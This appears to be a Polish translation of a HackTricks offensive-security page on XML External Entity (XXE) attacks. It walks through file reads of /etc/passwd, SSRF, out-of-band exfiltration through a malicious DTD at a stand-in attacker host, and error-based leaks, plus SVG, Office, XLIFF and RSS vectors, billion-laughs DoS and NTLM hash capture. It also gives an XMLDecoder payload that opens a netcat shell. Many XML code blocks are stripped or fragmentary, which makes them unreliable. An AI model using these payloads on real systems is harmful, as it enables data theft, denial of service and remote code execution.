# XXE - XEE - XML External Entity {% hint style="success" %} Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
{% endhint %}
{% embed url="https://websec.nl/" %} ## Podstawy XML XML to język znaczników zaprojektowany do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych znaczników. Różni się od HTML tym, że nie jest ograniczony do zestawu zdefiniowanych znaczników. Znaczenie XML spadło wraz z rosnącą popularnością JSON, mimo jego początkowej roli w technologii AJAX. * **Reprezentacja danych przez encje**: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych, takich jak `<` i `>`, które odpowiadają `<` i `>`, aby uniknąć konfliktu z systemem znaczników XML. * **Definiowanie elementów XML**: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne. * **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane. * **Encje niestandardowe i zewnętrzne**: XML wspiera tworzenie niestandardowych encji w DTD dla elastycznej reprezentacji danych. Encje zewnętrzne, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: ` ]>` * **Wykrywanie XXE za pomocą encji parametru**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub HTTP do kontrolowanej domeny, aby potwierdzić podatność. * ` ]>` * ` ]>` ## Główne ataki [**Większość tych ataków była testowana przy użyciu wspaniałych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### Test nowej encji W tym ataku zamierzam przetestować, czy prosta deklaracja nowej ENCI działa. ```xml ]> &toreplace; 1 ``` ![](<../.gitbook/assets/image (870).png>) ### Odczyt pliku Spróbujmy odczytać `/etc/passwd` na różne sposoby. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts` W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" również zadziała. ```xml ]> &example; ``` ![](<../.gitbook/assets/image (86).png>) Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serwer WWW używa PHP (Nie dotyczy to laboratoriów Portswigger). ```xml ]> &example; ``` W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako ANY ```xml ]> &file; 1 ``` ![](<../.gitbook/assets/image (753).png>) ### Lista katalogów W aplikacjach opartych na **Javie** może być możliwe **wylistowanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku): ```xml ]>&xxe; ]>&xxe; ``` ### SSRF XXE może być użyte do nadużycia SSRF w chmurze ```xml ]> &xxe;1 ``` ### Blind SSRF Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że **jednostki XML nie są dozwolone**, w takim przypadku możesz spróbować użyć **jednostek parametrów XML**: ```xml %xxe; ]> 3;1 ``` ### "Blind" SSRF - Exfiltracja danych poza pasmem **W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.** W podanym złośliwym DTD przeprowadzane są szereg kroków w celu exfiltracji danych: ### Przykład złośliwego DTD: Struktura jest następująca: ```xml "> %eval; %exfiltrate; ``` The steps executed by this DTD include: 1. **Definicja encji parametru:** * Tworzona jest encja parametru XML, `%file`, która odczytuje zawartość pliku `/etc/hostname`. * Definiowana jest kolejna encja parametru XML, `%eval`. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona tak, aby wykonać żądanie HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL. 2. **Wykonanie encji:** * Wykorzystywana jest encja `%eval`, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`. * Następnie używana jest encja `%exfiltrate`, co wyzwala żądanie HTTP do określonego URL z zawartością pliku. Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`. **XXE Payload:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE: ```xml %xxe;]> 3;1 ``` This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server. ### Error Based(External DTD) **W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które wyświetli zawartość pliku w komunikacie o błędzie (to jest ważne tylko, jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind) Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki: 1. Definiuje się encję parametru XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`. 2. Definiuje się encję parametru XML o nazwie `eval`, która zawiera dynamiczną deklarację dla innej encji parametru XML o nazwie `error`. Ta encja `error`, po ocenie, próbuje załadować nieistniejący plik, używając zawartości encji `file` jako swojej nazwy. 3. Wywoływana jest encja `eval`, co prowadzi do dynamicznej deklaracji encji `error`. 4. Wywołanie encji `error` skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku. Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML: ```xml %xxe;]> 3;1 ``` Upon execution, odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyświetlający zawartość pliku `/etc/passwd`. ![](<../.gitbook/assets/image (809).png>) _**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej encji wewnątrz drugiej (****`eval`****), ale jest to zabronione w wewnętrznym DTD. Dlatego nie możesz wymusić błędu bez użycia zewnętrznego DTD (zwykle).**_ ### **Błąd oparty (system DTD)** A co z niewidocznymi lukami XXE, gdy **interakcje poza pasmem są zablokowane** (połączenia zewnętrzne nie są dostępne)? Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje. Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML, ujawniając zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób: ```xml "> %eval; %error; '> %local_dtd; ]> ``` The outlined steps are executed by this DTD: * Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera. * Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`. * Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną `custom_entity`. Ta sekwencja działań prowadzi do wygenerowania komunikatu o błędzie, który jest celem eksploitu. **Real world example:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso` ```xml "> %eval; %error; '> %local_dtd; ]> 3;1 ``` ![](<../.gitbook/assets/image (625).png>) Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje: ```xml %local_dtd; ]> ``` For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) ### Finding DTDs inside the system W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**: {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} Ponadto, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium, aby **zeskanować** **obraz** i **znaleźć** ścieżkę **DTD** obecnych w systemie. Przeczytaj [Readme repozytorium github](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` ### XXE via Office Open XML Parsers Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**. Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML. Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany. Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (takim jak vim). XML powinien zostać zmodyfikowany, aby zawierał pożądany ładunek XXE, często zaczynający się od żądania HTTP. Zmodyfikowane linie XML powinny być wstawione między dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowalnym URL-em dla żądań. Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie: Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator. ### Jar: protocol Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar` itp.), obsługując zarówno pliki lokalne, jak i zdalne. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` {% hint style="danger" %} Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd). {% endhint %} Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków: 1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonej lokalizacji, takiej jak `https://download.website.com/archive.zip`. 2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak `/tmp/...`. 3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości. 4. Odczytywany jest konkretny plik w archiwum, `file.zip`. 5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane. Interesującą techniką przerwania tego procesu w drugim kroku jest utrzymywanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tej repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`). ```xml ]> &xxe; ``` {% hint style="danger" %} Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej luki, która dotyczy przechodzenia ścieżki** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.). {% endhint %} ### XSS ```xml script]]>alert(1)/script]]> ``` ### DoS #### Atak Miliona Śmiechów ```xml ]> &a4; ``` #### Atak Yaml ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` #### Atak kwadratowego wzrostu ![](<../.gitbook/assets/image (527).png>) #### Uzyskiwanie NTML Na hostach Windows możliwe jest uzyskanie hasha NTML użytkownika serwera WWW, ustawiając handler responder.py: ```bash Responder.py -I eth0 -v ``` i wysyłając następujące żądanie ```xml ]> &example; ``` Then you can try to crack the hash using hashcat ## Ukryte XXE Powierzchnie ### XInclude Podczas integrowania danych klienta z dokumentami XML po stronie serwera, takimi jak te w zapytaniach SOAP w backendzie, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana. Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` oraz określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany: ```xml productId=&storeId=1 ``` Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji! ### SVG - Przesyłanie plików Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML. Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity). Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe: ```xml ``` Inna metoda polega na próbie **wykonania poleceń** za pomocą wrappera PHP "expect": ```xml ``` W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa. Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji! **Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.** ### **PDF - Przesyłanie plików** Przeczytaj następujący post, aby **dowiedzieć się, jak wykorzystać XXE do przesyłania pliku PDF**: {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) {% endcontent-ref %} ### Content-Type: Z x-www-urlencoded do XML Jeśli żądanie POST akceptuje dane w formacie XML, możesz spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera następujące: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar ``` Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem: ```xml POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar ``` ### Content-Type: Z JSON do XEE Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie “**Content Type Converter**“. [Tutaj](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) znajdziesz ten przykład: ```xml Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "city": "ddd", "postalCode": "ddd" }}} ``` ```xml Content-Type: application/xml;charset=UTF-8 ]> &xxe; United States ddd ddd ``` Inny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). ## Obejścia WAF i zabezpieczeń ### Base64 ```xml %init; ]> ``` To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`. ### UTF-7 Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) do transformacji na UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- ``` ```xml +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` ### File:/ Protocol Bypass Jeśli strona używa PHP, zamiast używać `file:/` możesz użyć **php wrappers**`php://filter/convert.base64-encode/resource=` aby **uzyskać dostęp do plików wewnętrznych**. Jeśli strona używa Javy, możesz sprawdzić [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol). ### HTML Entities Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Możesz stworzyć **encję wewnątrz encji** kodując ją za pomocą **html entities** i następnie wywołać ją, aby **załadować dtd**.\ Zauważ, że używane **HTML Entities** muszą być **numeryczne** (jak \[w tym przykładzie]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). ```xml %a;%dtd;]> &exfil; ``` DTD przykład: ```xml "> %abt; %exfil; ``` ## PHP Wrappers ### Base64 **Wyodrębnij** _**index.php**_ ```xml ]> ``` #### **Ekstrakcja zewnętrznego zasobu** ```xml ]> ``` ### Remote code execution **Jeśli moduł PHP "expect" jest załadowany** ```xml ]> &xxe; mypass ``` ## **SOAP - XEE** ```xml %dtd;]>]]> ``` ## XLIFF - XXE Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation). ### Analiza Żądania Blind Żądanie jest wysyłane do serwera z następującą treścią: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników: ```json {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` Mimo błędu, rejestruje się trafienie w Burp Collaborator, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką. Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Java jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band. Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku: ```xml "> %foo; %xxe; ``` Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dostosowywany: ```xml "> %foo; %xxe; ``` Ta modyfikacja prowadzi do udanej eksfiltracji zawartości pliku, co jest odzwierciedlone w komunikacie o błędzie wysłanym przez HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący zarówno techniki Out of Band, jak i Error-Based do wydobycia wrażliwych informacji. ## RSS - XEE Poprawny XML w formacie RSS do wykorzystania luki XXE. ### Ping back Prośba HTTP do serwera atakującego ```xml /rssXXE" >]> XXE Test Blog http://example.com/ XXE Test Blog Mon, 02 Feb 2015 00:00:00 -0000 &xxe; http://example.com Test Post author@example.com Mon, 02 Feb 2015 00:00:00 -0000 ``` ### Odczytaj plik ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ### Przeczytaj kod źródłowy Używając filtru base64 w PHP ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ## Java XMLDecoder XEE do RCE XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze. ### Używanie Runtime().exec() ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ### ProcessBuilder ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ## Narzędzia {% embed url="https://github.com/luisfontes19/xxexploiter" %} ## Odniesienia * [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ * [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ * Wyciągnij informacje przez HTTP używając własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ * [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ * [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ * [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ * [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{% embed url="https://websec.nl/" %} {% hint style="success" %} Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
{% endhint %}